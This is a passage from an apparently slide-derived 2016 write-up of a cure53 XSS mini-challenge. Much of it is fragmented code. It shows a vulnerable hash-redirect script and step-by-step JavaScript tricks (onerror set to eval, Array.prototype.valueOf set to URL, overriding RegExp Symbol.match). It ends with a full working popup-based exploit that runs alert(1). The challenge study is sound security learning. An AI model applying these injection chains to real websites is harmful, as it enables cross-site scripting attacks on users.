Writeup by Hegedűs Tamás, 2016.04.
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
1;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw 1;
}
}
</script>
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
asdasd;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw asdasd;
}
}
</script>
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
x . = [] y;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw x . = [] y;
}
}
</script>
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;
}
}
</script>
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
abcdefghijklm opqrstuvwxyz;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw abcdefghijklm opqrstuvwxyz;
}
}
</script>
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
ow what;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
}
}catch(e){
throw ow what;
}
}
</script>
alert(1)
try{
ow what;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
'()'
is strippedString.prototype.match = alert
try{
ow what;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
'n'
is strippedalert
must be invoked in window
contextonerror = eval; throw 1;
try{
ow what;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
'n'
is still strippedArray.prototype.valueOf=URL
Array.prototype.valueOf=URL;
u=location.hash.slice(1);
if(u.match(/^https?:\/\/cure53.de\//)) {
"/"+u.match(/\\/);
location=u;
""+obj
calls obj.valueOf()
implicitlyURL
throws if not called with new
catch
after u
has been setSymbol.toPrimitive, toString
Make use of onhashchange=func
<script type="text/javascript">
onload=onhashchange=func;
function func(){
try{
X-Frame-Options: DENY
:'(window.open
base="...?xss=..."
w=window.open(base+"#onerror");
w.location=base+"#alert(1)";
onerror=eval
See the steps
var xss = "self[[typeof [[[d=self.w][w=self.u]][self[self.u]=eval]"+
"][Array.prototype.valueOf=URL]][0][2]]";
w = open(xss + "#onerror");
w.location = xss + "#Uncaught";
w.location = xss + "#+alert(1)";
w.location = xss + "#https://cure53.de/\\";
"Uncaught +alert(1)"
on Chrome and Edge"uncaught exception: +alert(1)"
on FF :'(Real working code – with timeouts and stuff
Demo (must allow popups)<script>
var xss = "self[[typeof [[[d=self.w][w=self.u]][self[self.u]=eval]][Array.prototype.valueOf=URL]][0][2]]",
hashes = [
"#onerror",
"#Uncaught",
"#+alert(1)",
"#https://cure53.de/\\"
], i=0, w;
function step() {
var hash = hashes[i++];
if (hash) {
var url = "https://html5sec.org/minichallenges/5?xss=" + xss + hash;
if (i>1) {
w.location = url;
setTimeout(step, 100);
} else {
w = open(url);
setTimeout(step, 500);
}
}
}
step();
</script>
Symbol.match
str.match(reg)
just calls reg[Symbol.match](str)
"?xss=RegExp.prototype[Symbol.match]=eval#alert(1)"
try{
RegExp.prototype[Symbol.match]=eval;
u=location.hash.slice(1); // u is now "alert(1)"
if(u.match(/^https?:\/\/cure53.de\//)) { // DONG